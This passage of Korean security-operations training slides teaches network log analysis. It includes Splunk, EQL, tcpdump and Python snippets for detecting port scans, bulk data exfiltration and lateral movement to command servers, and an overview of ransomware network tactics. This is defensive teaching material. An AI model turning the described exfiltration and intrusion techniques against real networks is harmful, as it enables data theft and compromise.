Q50. 다음번에 같은 유형을 더 빨리 잡으려면 무엇을 개선해야 하는가?

🏁 50번 질문까지 익숙해질 때, 진짜 네트워크 분석가가 된다

보강 설명분석가 50문 50답 — 보고 & 개선 (Q41~Q50) 같은 부록 슬라이드는 암기용보다 실무 참조용으로 보는 편이 효율적이다. 용어·포트·필드·치트시트는 현장에서 꺼내 쓰기 쉬운 묶음으로 정리해 두는 것이 핵심이다.

참조 자료치트시트빠른 확인

읽는 법

유사 개념은 함께 묶어 차이를 한 줄로 적어 두기
도구별 다른 필드명이나 같은 의미의 약어를 나란히 두기
자주 보는 값은 예시 로그 한 줄과 같이 기억하면 오래 간다

현장 활용

FAQ와 참조표는 에스컬레이션 전 초동 확인 체크리스트로 재사용
신입 온보딩 자료와 룰 설명서에 그대로 붙여 활용 가능
팀별 예외 환경을 손으로 메모해 조직 맞춤형으로 갱신

복습 포인트

오늘 가장 자주 나온 용어 5개를 직접 예문으로 바꿔 보기
포트와 프로토콜은 역할 중심으로만 기억하고 나머지는 참조
필드명은 Zeek·Firewall·Proxy에서 어떻게 달라지는지 비교하기

모듈 연결

Module 1 · 2 · 3 연결 구조 총정리

📘 Module 1 — SOC 프레임워크

SOC 역할과 운영 구조
Alert → Triage → Incident 흐름
SIEM/SOAR 개념
판단 프레임: Fact+Pattern+Context+Action
핵심 질문: "이 조직의 보안 운영은 어떻게 돌아가는가?"

📗 Module 2 — 호스트 분석

auth.log, syslog, auditd
프로세스 실행/파일 접근 흔적
계정/권한 이상 탐지
지속성 행위 (cron, rc.local)
핵심 질문: "이 시스템 안에서 무슨 일이 있었는가?"

📕 Module 3 — 네트워크 분석

IP/Port/Protocol/Flow
DNS/HTTP/TLS/네트워크 센서
4대 공격 패턴 탐지
위협 헌팅 + 룰 설계
핵심 질문: "이 시스템이 누구와 어떻게 대화했는가?"

🔗 M1이 판단 프레임 → M2가 내부 행위 → M3이 통신 흐름 → 합쳐야 사건이 완성된다

모듈 연결

Module 2+3 결합 분석 — 3대 시나리오

시나리오 A: SSH 침입
M3: 외부 IP Port Scan + Brute Force 전조 → M2: auth.log 실패/성공 + sudo/useradd → M3: 후속 C2 외부 연결

시나리오 B: 웹 서버 침해
M3: 웹 스캐닝, 특정 URI 반복, 외부 업로드 → M2: 웹쉘 실행, curl, /tmp 파일, cron 지속성 → M3: Beaconing 시작

시나리오 C: 데이터 유출
M2: 파일 압축/수집 스크립트 실행 → M3: 대량 Outbound, 외부 스토리지, 장기 세션 → 결합 시 유출 타이밍 정확히 포착

🔗 "누가 들어왔는가" (M2) + "들어온 뒤 어디와 통신했는가" (M3) = 완전한 사건

보강 설명Module 2+3 결합 분석 — 3대 시나리오는 정답 맞히기보다 근거를 조립하는 연습에 가깝다. 주어진 로그에서 무엇이 사실인지, 어디가 추론인지, 어떤 추가 로그가 필요한지 먼저 나누어 적는 것이 중요하다.

실습답안 포인트추가 로그

답안 포인트

시간순으로 재배치한 뒤 공격 단계 또는 운영 상황을 먼저 정의
상태코드·bytes·반복성·시간대를 빠짐없이 근거로 제시
단정 표현보다 확신도와 근거 수준을 함께 적기

추가 확인

같은 IP·계정·호스트의 전후 30분 범위를 묶어 흐름 보기
DNS·EDR·인증·Proxy 중 하나 이상을 추가 확보해 교차 검증
오탐 시나리오도 한 줄로 적어 판단의 균형 유지

미니 실습

로그 3줄을 하나의 타임라인 문장으로 정리해 보기
즉시 조치와 추가 조사 항목을 따로 적어 보기
동일 현상을 개발팀·운영팀·관리자용 문장으로 각각 바꿔 보기

모듈 연결

Module 3 이후 후속 학습 로드맵

📘 Module 4 (예시): 웹 공격 로그 분석

WAF / Access log / App log 중심
SQLi / XSS / LFI 탐지 심화
WebShell 업로드 & 실행 흔적
인증 우회 패턴
API 공격 (OWASP API Top 10)
전제 역량: M3 HTTP/HTTPS 분석 완료

📘 Module 5 (예시): ATT&CK 공격 체인 분석

Kill Chain 전 단계 통합 분석
M1+M2+M3 통합 케이스 스터디
Threat Intelligence 피드 운영
Purple Team 실습
SOAR Playbook 자동화 설계
전제 역량: M1~M3 전체 완료

📈 M1~M3는 SOC 분석가의 핵심 기반 — M4~M5에서 전문화

보강 설명Module 3 이후 후속 학습 로드맵는 수업을 끝내는 장면이 아니라 이후의 학습과 실습 루틴을 연결하는 슬라이드다. 반복적으로 로그를 읽고 판단문을 쓰는 습관이 결국 분석 품질을 만든다.

다음 단계루틴성장

다음 2주에 할 일

수업에서 본 예시 로그를 다시 읽고 1장 요약 만들기
Wireshark/Zeek/Flow 중 하나를 골라 손에 익힐 정도로 반복
자주 틀린 개념을 개인 치트시트로 정리하기

실무 감각 키우기

하루 10분이라도 정상과 이상 예시를 비교해 보는 루틴 만들기
동향 자료는 제목만 읽지 말고 우리 환경에 어떤 의미인지 적기
결론보다 근거와 추가 확인 질문을 쓰는 습관 유지

후속 학습 추천

Module 4의 SIEM 규칙과 상관분석에서 지금 배운 네트워크 지식이 재사용됨
PCAP·Threat Hunting·룰 튜닝은 작은 과제를 반복할수록 빨라진다
팀 내 리뷰를 통해 보고 문장의 명확성을 계속 다듬기

실습 과제

개인 실습 — 네트워크 분석 30일 챌린지

📅 Week 1 (Day 1~7) — 기초 도구

Day 1-2: Wireshark 설치 + 기본 필터 20개
Day 3-4: Zeek 설치 + conn.log/dns.log 읽기
Day 5: MTA(malware-traffic-analysis) PCAP 1개 분석
Day 6-7: 분석 결과 판단문 작성 (FPCA)

📅 Week 2 (Day 8~14) — 패턴 탐지

Day 8-9: Port Scan PCAP 찾아서 분석
Day 10-11: DNS Tunneling 샘플 분석
Day 12-13: Beaconing 샘플 PCAP 분석
Day 14: 4가지 패턴 비교 정리 문서 작성

📅 Week 3 (Day 15~21) — SIEM 실습

Day 15-16: Security Onion 설치
Day 17-18: PCAP 임포트 + SIEM 쿼리 작성
Day 19-21: 탐지 룰 1개 설계 + 테스트

📅 Week 4 (Day 22~30) — 종합

Day 22-25: 복합 공격 PCAP 1개 전체 분석
Day 26-28: 기술 보고서 작성
Day 29: 동료와 공유 및 피드백
Day 30: 다음 30일 목표 설정

최종 과제

최종 과제 — PCAP 분석 보고서 작성

📋 과제 개요

제공된 PCAP 파일 1개(실제 침해 시뮬레이션 기반)를 Wireshark와 Zeek를 사용하여 분석하고, A4 2페이지 분석 보고서를 작성하시오.

📌 보고서 필수 포함 항목

① 사건 개요 (1~2문장)
② 공격 타임라인 (시각 + 이벤트)
③ 발견된 IOC 목록 (IP, 도메인, 포트)
④ 공격 패턴 분류 (4대 패턴 중 해당)
⑤ 최종 판단문 (Fact+Pattern+Context+Action)
⑥ 개선 제안 (룰 설계 or 보안 강화)

⭐ 평가 기준

정확성 (30%): IOC와 타임라인이 정확한가
분석 깊이 (30%): 단순 나열이 아닌 해석
판단문 품질 (25%): FPCA 구조 완성도
커뮤니케이션 (15%): 명확하고 간결한 문장

💡 "있다/없다"보다 "왜, 어떻게"가 높은 점수

보강 설명최종 과제 — PCAP 분석 보고서 작성는 정답 맞히기보다 근거를 조립하는 연습에 가깝다. 주어진 로그에서 무엇이 사실인지, 어디가 추론인지, 어떤 추가 로그가 필요한지 먼저 나누어 적는 것이 중요하다.

실습답안 포인트추가 로그

답안 포인트

시간순으로 재배치한 뒤 공격 단계 또는 운영 상황을 먼저 정의
상태코드·bytes·반복성·시간대를 빠짐없이 근거로 제시
단정 표현보다 확신도와 근거 수준을 함께 적기

추가 확인

같은 IP·계정·호스트의 전후 30분 범위를 묶어 흐름 보기
DNS·EDR·인증·Proxy 중 하나 이상을 추가 확보해 교차 검증
오탐 시나리오도 한 줄로 적어 판단의 균형 유지

미니 실습

로그 3줄을 하나의 타임라인 문장으로 정리해 보기
즉시 조치와 추가 조사 항목을 따로 적어 보기
동일 현상을 개발팀·운영팀·관리자용 문장으로 각각 바꿔 보기

🌐

패킷이 거짓말을 하지 않는다

로그는 사건의 흔적이다.
분석가의 역할은 흔적에서 사실을 읽고,
사실에서 패턴을 보고,
패턴에서 판단을 만들고,
판단을 행동으로 연결하는 것이다.

📡

네트워크

통신 흔적 읽기

🔍

분석

패턴 식별

⚡

대응

판단 → 행동

Module 3 완료 — 네트워크 & 패킷 분석 (12H)
AI 보안운영 및 위협탐지 실무인력 양성 | 한국인터넷진흥원

보강 설명 전체 흐름을 한눈에 잡아 주는 시작 슬라이드다. 이번 모듈은 네트워크 흔적을 보고 이상 여부를 설명하는 실무 감각을 만드는 데 초점을 둔다.

전체 구조학습 목표실무 연결

이번 모듈의 포인트

IP·Port·Protocol을 외우는 수준을 넘어 연결의 의미를 읽는 감각 만들기
DNS·HTTP·Flow·TLS를 묶어 하나의 사건 흐름으로 해석하기
관찰 사실을 운영 가능한 판단문으로 정리하는 연습 포함

수업 중 계속 물어야 할 질문

누가 어디로 어떤 방식으로 통신했는가
이 연결은 자산 역할과 시간대 기준으로 자연스러운가
추가로 붙여야 할 로그와 즉시 조치는 무엇인가

학습 산출물

공격 패턴별 탐지 포인트 치트시트
실습 로그 기반 판단문 초안
후속 Module에서 바로 쓸 수 있는 네트워크 분석 프레임

운영 실무241

에스컬레이션 — 언제, 어떻게 올릴 것인가

에스컬레이션 타이밍은 SOC 운영 효율의 핵심이다. 너무 빠르면 노이즈, 너무 늦으면 피해 확대.

🚨 즉시 에스컬레이션 조건

핵심 자산 (DC/DB/결제서버) 침해 의심

대량 데이터 유출 진행 중

랜섬웨어 전파 패턴 감지

다수 호스트 동시 이상

내부 관리자 계정 탈취 의심

⚠️ 판단 후 에스컬레이션 조건

내 분석 범위를 초과하는 복잡성

30분 이상 판단이 어려운 경우

추가 권한이 필요한 조치 필요

📋 보고 포함 사항

1. 발견 시각 및 알람 출처

2. 관련 자산 / IP / 계정

3. 관측 사실 요약

4. 위험도 판단 근거

5. 이미 취한 조치

보강 설명에스컬레이션 — 언제, 어떻게 올릴 것인가 슬라이드는 기술 판단을 운영 문장으로 바꾸는 방법을 다루는 구간이다. 사실·패턴·맥락·조치를 분리해서 적으면 에스컬레이션과 후속 협업이 훨씬 쉬워진다.

운영 실무판단문에스컬레이션

핵심 포인트

사실과 추론을 분리해 적으면 보고 신뢰도가 높아진다
위험도 판단에는 자산 중요도와 현재 진행 여부를 반드시 포함
좋은 문장은 다음 조치와 추가 확인이 무엇인지 바로 보이게 한다

추가 확인

오탐 가능성도 함께 적어 후속 팀의 판단 비용을 줄이기
누락된 로그 소스와 필요한 권한·담당 부서를 같이 명시하기
보고 대상이 기술팀인지 경영진인지에 따라 표현 수준 조정

실무 적용

에스컬레이션은 늦음보다 근거 있는 조기 공유가 더 안전한 경우가 많다
기준선은 숫자와 기간을 명시해야 룰 튜닝에 재사용 가능하다
표준 문장 템플릿을 만들어 팀 내 판단 품질을 균일화할 수 있다

운영 실무242

네트워크 기준선(Baseline) 수립 실전 가이드

이상 탐지의 출발점은 '정상 정의'다. 우리 환경의 정상을 숫자로 알아야 이상도 알 수 있다.

📊 측정할 기준선 항목

🔢 시간대별 평균 트래픽 볼륨

🌐 자산별 일반적인 외부 통신 목적지

🔗 자주 사용되는 내부-내부 연결 패턴

📊 평균 DNS 질의 수 / 분

🔄 평균 세션 수 / 분 (자산별)

🔄 수립 프로세스

2~4주 평온 기간 데이터 수집

시간대/요일/자산별 통계 계산

이상치(공휴일, 배포일) 제외

임계치 설정 + 주기적 갱신

기준선 없는 임계치 탐지 = 근거 없는 판단

보강 설명네트워크 기준선(Baseline) 수립 실전 가이드 슬라이드는 기술 판단을 운영 문장으로 바꾸는 방법을 다루는 구간이다. 사실·패턴·맥락·조치를 분리해서 적으면 에스컬레이션과 후속 협업이 훨씬 쉬워진다.

운영 실무판단문에스컬레이션

핵심 포인트

사실과 추론을 분리해 적으면 보고 신뢰도가 높아진다
위험도 판단에는 자산 중요도와 현재 진행 여부를 반드시 포함
좋은 문장은 다음 조치와 추가 확인이 무엇인지 바로 보이게 한다

추가 확인

오탐 가능성도 함께 적어 후속 팀의 판단 비용을 줄이기
누락된 로그 소스와 필요한 권한·담당 부서를 같이 명시하기
보고 대상이 기술팀인지 경영진인지에 따라 표현 수준 조정

실무 적용

에스컬레이션은 늦음보다 근거 있는 조기 공유가 더 안전한 경우가 많다
기준선은 숫자와 기간을 명시해야 룰 튜닝에 재사용 가능하다
표준 문장 템플릿을 만들어 팀 내 판단 품질을 균일화할 수 있다

포렌식243

사고 대응 시 네트워크 증거 보존 절차

법적 대응이나 내부 조사를 위해 네트워크 증거는 증거 연속성(Chain of Custody)을 유지하며 보존해야 한다.

📦 수집해야 할 증거

🔴 Full PCAP (가능한 경우)

🟡 Zeek 로그 (전체 기간)

🟡 방화벽 로그 (관련 IP/포트)

🔵 DNS 질의 로그

🔵 Proxy 로그 (URL/시간)

🟢 SIEM Export (검색 결과)

🔐 증거 보존 원칙

✅ 수집 시각 + 수집자 기록

✅ 파일 해시 (SHA256) 즉시 계산

✅ 원본 불변 + 복사본 분석

✅ 접근 통제된 별도 저장소

❌ 원본 파일 직접 수정 금지

보강 설명사고 대응 시 네트워크 증거 보존 절차의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

솔직한 이야기244

우리가 아직 탐지하지 못하는 것들

탐지 한계를 모르면 보완할 수 없다. 현재 기술로도 어려운 공격 유형을 솔직하게 정리한다.

🔴 탐지가 매우 어려운 공격

• Living off the Land (정상 도구 악용)

• Slow & Low 공격 (수개월 잠복)

• HTTPS 내 암호화된 악성 트래픽

• 공급망 공격 (신뢰 소스 악용)

• 물리적 내부자 이동

🟢 보완 방향

• EDR + 네트워크 강력 상관분석

• 장기 행위 패턴 추적 (UEBA)

• TLS 인스펙션 확대

• 공급업체 네트워크 세그먼테이션

• Zero Trust 접근 제어

100% 탐지는 불가능. 리스크 기반 우선순위 설정이 현실적 전략이다.

보강 설명우리가 아직 탐지하지 못하는 것들의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

미래 전망245

네트워크 보안 분석의 미래 — 주요 트렌드 5가지

암호화 확산, 클라우드 전환, AI 활용이 네트워크 보안 분석의 방향을 바꾸고 있다.

1. 암호화 확산 → 메타데이터 분석 중심

TLS 1.3, QUIC, DoH/DoT → JA3, 인증서, 행위 패턴으로 보완

2. 클라우드 네이티브 가시성 확보

온프레미스 SPAN → Cloud Flow Logs + API 로그 중심으로 전환

3. NDR(Network Detection & Response) 확산

시그니처 + ML 기반 이상 탐지 + 자동 대응의 통합 플랫폼화

4. XDR 통합 — 네트워크+엔드포인트+클라우드

개별 도구 → 통합 분석 플랫폼으로 상관분석 자동화

5. AI 기반 Threat Hunting 자동화

인간이 가설을 세우고 AI가 데이터를 뒤지는 협업 모델

보강 설명네트워크 보안 분석의 미래 — 주요 트렌드 5가지는 최신 도구 이름보다 탐지 환경이 어떻게 바뀌는지에 집중해서 읽으면 좋다. 암호화 확산, 클라우드 전환, 자동화 증가는 네트워크 분석의 질문 자체를 바꾸고 있다.

동향운영 변화대비 포인트

핵심 변화

암호화 증가로 내용보다 메타데이터·행동 패턴의 중요성이 커진다
클라우드와 SaaS 확대로 패킷보다 서비스 로그 의존도가 높아진다
자동화 도구는 탐지 속도를 올리지만 검증 책임은 여전히 사람에게 있다

조직이 준비할 것

센서 위치와 수집 정책, 보존 기간부터 먼저 재점검
정상 기준선과 예외 목록을 최신 환경 변화에 맞춰 갱신
새 기술 도입 시 탐지 공백과 오탐 증가 지점을 함께 검토

실무 적용

동향 슬라이드는 우리 조직의 탐지 공백 점검표로 전환해 보는 것이 좋다
기술 유행보다 우리 환경에서 바로 바뀌는 로그 소스부터 확인
새로운 프로토콜과 서비스는 기준선 없이 운영하면 바로 노이즈가 된다

도구 심화246

Splunk SPL — 네트워크 탐지 쿼리 5종

SPL(Search Processing Language)로 네트워크 이상을 탐지하는 핵심 쿼리 패턴을 익혀두면 실무에서 즉시 활용 가능하다.

🔍 Port Scan 탐지

index=firewall action=allow | stats dc(dest_port) as ports by src_ip _time span=1m | where ports > 20 | sort -ports

🔍 DNS 이상 (NXDOMAIN 급증)

index=dns rcode=NXDOMAIN | stats count by src_ip _time span=5m | where count > 50

🔍 대량 업로드 탐지

index=proxy method=POST | stats sum(bytes_out) as total_out by src_ip dest_host | where total_out > 104857600 | eval MB=round(total_out/1048576,1) | sort -MB

🔍 새벽 비정상 세션

index=zeek sourcetype=conn | eval hour=strftime(_time,"%H") | where (hour >= 0 AND hour <= 5) AND NOT cidrmatch("10.0.0.0/8", dst_ip) | stats sum(orig_bytes) as ob by src_ip dst_ip | where ob > 5000000

도구 심화247

tcpdump 실전 명령어 치트시트

현장에서 빠르게 패킷을 캡처해야 할 때 tcpdump 핵심 옵션을 손에 익혀두면 골든타임을 확보할 수 있다.

📦 기본 캡처

# 인터페이스 지정 + 파일 저장 tcpdump -i eth0 -w capture.pcap # 특정 호스트 tcpdump -i eth0 host 10.0.0.1 # 특정 포트 tcpdump -i eth0 port 443 # 특정 IP ↔ 포트 조합 tcpdump -i eth0 src 10.0.0.5 \ and dst port 80

🎯 실무 유용 옵션

# DNS만 캡처 tcpdump -i eth0 port 53 # SYN 패킷만 (Port Scan 탐지) tcpdump -i eth0 \ 'tcp[tcpflags] & tcp-syn != 0' # RST 패킷 (비정상 종료) tcpdump -i eth0 \ 'tcp[tcpflags] & tcp-rst != 0' # 파일 크기 회전 (100MB마다) tcpdump -i eth0 -C 100 \ -w capture.pcap

자동화248

Python으로 네트워크 로그 분석 자동화

반복되는 분석 작업은 스크립트로 자동화하면 수 시간이 수 분으로 줄어든다.

🐍 pyshark — DNS 분석

import pyshark from collections import Counter cap = pyshark.FileCapture('sample.pcap') queries = [] for pkt in cap: if hasattr(pkt, 'dns'): if pkt.dns.qry_name: queries.append(pkt.dns.qry_name) top = Counter(queries).most_common(10) for domain, count in top: print(f"{count:5d} {domain}")

📊 pandas — 이상 탐지

import pandas as pd df = pd.read_csv('conn.log', sep='\t', names=['ts','uid','src','sp', 'dst','dp','proto', 'dur','obytes','ibytes']) df['hour'] = pd.to_datetime( df['ts'], unit='s').dt.hour suspicious = df[ (df['hour'].between(0,5)) & (df['obytes'] > 10_000_000) & (~df['dst'].str.startswith('10.')) ] print(suspicious[['src','dst','obytes']])

도구 심화249

OSINT 활용 IP / 도메인 조사 실전

의심 IP나 도메인 발견 시 OSINT 도구를 체계적으로 활용하면 초기 위협 평가 시간을 획기적으로 단축할 수 있다.

🔍 주요 OSINT 도구

VirusTotal — 멀티엔진 IP/도메인 평판

Shodan — 오픈 포트/서비스/배너

AbuseIPDB — 악성 신고 IP DB

URLScan.io — URL 스캔 + 스크린샷

WHOIS — 도메인 등록 정보

🔄 5분 조사 워크플로우

AbuseIPDB — 악성 신고 이력

VirusTotal — 평판 + 연관 IOC

Shodan — 오픈 포트, 위치

결과 → 내부 로그와 매핑

⚠️ OSINT는 보조 지표. 평판이 깨끗해도 신규 C2일 수 있음

도구 활용드릴다운운영 팁

핵심 포인트

거시 로그에서 이상 구간을 좁힌 뒤 상세 도구로 내려가는 순서를 유지
필터·필드·예외 조건을 팀 공통 언어로 정리해 두기
도구별 장점과 사각지대를 같이 적어야 오탐 대응이 빨라진다

추가 확인

입력 로그의 시간대·필드명·누락률부터 먼저 검증
도구 결과를 다른 센서의 사실과 반드시 교차 검증
자동화 스크립트는 실패 케이스와 예외 메시지까지 남기기

실무 예시

Wireshark는 Filter→Conversations→Follow Stream 순서가 안정적
Zeek는 conn.log만으로도 초동 triage의 절반 이상을 해결 가능
탐지 룰은 경보 문구에 왜 알렸는지 근거를 함께 넣어야 한다

도구 심화250

Elastic EQL — 이벤트 시퀀스 탐지

EQL(Event Query Language)은 시퀀스 탐지에 강점이 있어 다단계 공격 패턴 탐지에 적합하다.

🔍 정찰 → SSH 성공 시퀀스

sequence with maxspan=10m [network where destination.port > 1000 and event.outcome == "failure"] [network where destination.port == 22 and event.outcome == "success"]

🔍 내부 이동 → 외부 C2

sequence with maxspan=30m [network where source.ip : "10.*" and destination.ip : "10.*" and destination.port == 22] [network where source.ip : "10.*" and not destination.ip : ( "10.*","192.168.*","172.16.*" )]

💡 EQL 핵심 개념

sequence — 순서 있는 이벤트 체인

maxspan — 시퀀스 허용 시간창

by — 동일 필드로 연결

until — 종료 조건 이벤트

EQL 시퀀스 = 공격 체인을 쿼리 한 줄로 표현

위협 인텔251

랜섬웨어 공격의 네트워크 TTP 총정리

랜섬웨어는 암호화 전에 반드시 네트워크를 통해 흔적을 남긴다. 각 단계의 패턴을 알면 조기 탐지가 가능하다.

1단계: 초기 침투

피싱 이메일 첨부 → 악성 URL 연결 / RDP Brute Force / VPN 취약점

2단계: C2 통신 수립

Cobalt Strike Beacon / 암호화된 Beaconing 연결

3단계: 내부 정찰 및 이동

SMB 스캔 / RDP 이동 / DC 접근 / Kerberoasting

4단계: 데이터 유출 (이중 협박)

대량 Outbound → 외부 스토리지 / MEGA / FTP / Custom 업로드

5단계: 암호화 키 교환 + 실행

C2와 암호화 키 협상 → 전파 및 파일 암호화 시작

3단계 이전에 탐지해야 한다 — 4, 5단계 후는 복구 중심으로 전환

보강 설명랜섬웨어 공격의 네트워크 TTP 총정리의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

위협 인텔252

내부자 위협(Insider Threat) 네트워크 탐지 패턴

내부자는 정상 권한을 가졌지만, 비정상적인 접근 규모, 시간, 방향은 네트워크에 흔적을 남긴다.

🔍 탐지 신호

⏰ 비업무 시간 대량 데이터 접근

📤 평시 대비 급증한 외부 업로드

🗂️ 업무 범위 외 파일 서버 접근

☁️ 개인 클라우드 (Google Drive 등) 업로드

📧 대량 이메일 외부 전송

⚠️ 탐지의 어려움

✗ 정상 접근 권한으로 접근 → 룰 우회

✗ 정상 프로토콜(HTTP/HTTPS) 사용

✗ 개인 USB → 네트워크 로그 없음

UEBA(사용자 행위 분석) +
DLP(데이터 유출 방지) 연계 필수

공격 패턴전조 신호조치 우선순위

대표 신호

반복성·대상 다양성·시간 간격이 공격 자동화 여부를 드러낸다
단일 성공보다 성공 전후 로그와 후속 행동을 함께 본다
정상 업무 패턴과 비교한 이탈 정도를 수치로 적어 두면 강하다

추가 확인

같은 출발지 또는 같은 계정의 전후 30분 흐름을 묶어 보기
DNS·Flow·EDR·인증 로그 중 비어 있는 소스를 한 개 더 확보하기
핵심 자산 여부와 현재 진행 중인지 여부를 먼저 판단하기

즉시 조치 힌트

정찰 단계라도 응답 성공 포트와 노출 자산을 우선 정리
인증 성공·Beaconing·유출은 차단 또는 격리 우선순위가 높다
판단문에는 사실·패턴·영향·권고 조치를 분리해서 적는다

성숙도253

우리 조직 네트워크 보안 성숙도 자가 평가

현재 수준을 객관적으로 파악해야 다음 단계로 나아갈 수 있다.

Level 1: 기초

☐ FW 로그 수집 중

☐ 기본 포트/프로토콜 이해

☐ 주요 서버 트래픽 모니터링

☐ IDS 기본 룰 운영 중

Level 2: 중급

☐ Zeek/Suricata 운영

☐ DNS/HTTP/TLS 분석 가능

☐ SIEM 네트워크 룰 보유

☐ FP 튜닝 프로세스 있음

Level 3: 고급

☐ Threat Hunting 정기 수행

☐ TI 연동 탐지 운영

☐ SOAR 자동화 구축

☐ ATT&CK 커버리지 측정

Level 1 → 2 전환이 가장 중요한 도약. 데이터 수집과 분석 도구가 핵심

보강 설명우리 조직 네트워크 보안 성숙도 자가 평가 슬라이드는 기술 판단을 운영 문장으로 바꾸는 방법을 다루는 구간이다. 사실·패턴·맥락·조치를 분리해서 적으면 에스컬레이션과 후속 협업이 훨씬 쉬워진다.

운영 실무판단문에스컬레이션

핵심 포인트

사실과 추론을 분리해 적으면 보고 신뢰도가 높아진다
위험도 판단에는 자산 중요도와 현재 진행 여부를 반드시 포함
좋은 문장은 다음 조치와 추가 확인이 무엇인지 바로 보이게 한다

추가 확인

오탐 가능성도 함께 적어 후속 팀의 판단 비용을 줄이기
누락된 로그 소스와 필요한 권한·담당 부서를 같이 명시하기
보고 대상이 기술팀인지 경영진인지에 따라 표현 수준 조정

실무 적용

에스컬레이션은 늦음보다 근거 있는 조기 공유가 더 안전한 경우가 많다
기준선은 숫자와 기간을 명시해야 룰 튜닝에 재사용 가능하다
표준 문장 템플릿을 만들어 팀 내 판단 품질을 균일화할 수 있다

인프라254

패킷은 어떻게 수집되는가 — TAP vs SPAN vs NetFlow

패킷 가시성은 도구가 아니라 수집 인프라가 결정한다. 수집 방식의 한계를 알아야 분석의 한계도 안다.

🔌 Network TAP

✅ 장점

패킷 유실 없음

트래픽 영향 없음

Full PCAP 가능

❌ 단점

물리 장치 설치 필요

비용 높음

🔀 SPAN Port

✅ 장점

스위치 설정만으로 가능

비용 저렴

❌ 단점

고부하 시 패킷 유실

스위치 성능 영향

📊 NetFlow/IPFIX

✅ 장점

대용량 트래픽 대응

장기 보관 가능

❌ 단점

패킷 내용 없음

메타데이터만

실무: 중요 구간 TAP + 일반 구간 SPAN + 전체 NetFlow 조합

보강 설명패킷은 어떻게 수집되는가 — TAP vs SPAN vs NetFlow에서는 패킷·세션·Flow를 한 단계씩 읽는 순서를 익히는 것이 중요하다. 목적지 포트, 방향, duration, bytes, conn_state를 묶어 보면 같은 443도 정상과 이상이 갈린다.

TCP/UDPFlow패턴 해석

핵심 포인트

출발지·목적지·포트·프로토콜은 연결의 문장 구조에 해당한다
duration과 bytes는 연결 목적을 드러내는 가장 강한 보조 단서다
단일 패킷보다 반복 패턴과 상태 전환을 더 중요하게 본다

추가 확인

자산 역할상 원래 사용하던 포트와 프로토콜인지 확인
업무시간·주말·야간 기준으로 동일 패턴이 있었는지 비교
DNS나 EDR을 붙여 목적지와 프로세스 맥락까지 보강

미니 실습

Flow 1줄을 사실·패턴·맥락 문장으로 바꿔 보기
동일한 443 연결 두 개를 정상과 의심으로 나누는 이유 적기
같은 포트라도 위험도가 달라지는 자산 예시 2개 정리

미래 기술255

네트워크 보안에서 AI/ML의 실제 역할

AI는 분석가를 대체하지 않는다. 분석가의 시야를 확장하고 반복 작업을 자동화한다.

✅ ML이 잘하는 것

📊 기준선에서 벗어난 행위 이상 탐지

🔍 DGA 도메인 분류 (무작위성 점수화)

📈 Beaconing 주기성 자동 검출

🔗 유사 공격 클러스터링

❌ ML의 한계

⚠️ "왜 이상한가" 설명 어려움 (XAI 필요)

⚠️ 학습 데이터 밖 새 패턴 취약

⚠️ 오탐률 높아 지속 튜닝 필요

⚠️ 비즈니스 맥락 이해 부족

ML = 신호 탐지기 | 분석가 = 신호의 의미와 대응 결정자

보강 설명네트워크 보안에서 AI/ML의 실제 역할는 최신 도구 이름보다 탐지 환경이 어떻게 바뀌는지에 집중해서 읽으면 좋다. 암호화 확산, 클라우드 전환, 자동화 증가는 네트워크 분석의 질문 자체를 바꾸고 있다.

동향운영 변화대비 포인트

핵심 변화

암호화 증가로 내용보다 메타데이터·행동 패턴의 중요성이 커진다
클라우드와 SaaS 확대로 패킷보다 서비스 로그 의존도가 높아진다
자동화 도구는 탐지 속도를 올리지만 검증 책임은 여전히 사람에게 있다

조직이 준비할 것

센서 위치와 수집 정책, 보존 기간부터 먼저 재점검
정상 기준선과 예외 목록을 최신 환경 변화에 맞춰 갱신
새 기술 도입 시 탐지 공백과 오탐 증가 지점을 함께 검토

실무 적용

동향 슬라이드는 우리 조직의 탐지 공백 점검표로 전환해 보는 것이 좋다
기술 유행보다 우리 환경에서 바로 바뀌는 로그 소스부터 확인
새로운 프로토콜과 서비스는 기준선 없이 운영하면 바로 노이즈가 된다

클라우드256

클라우드 환경 네트워크 탐지 데이터 소스

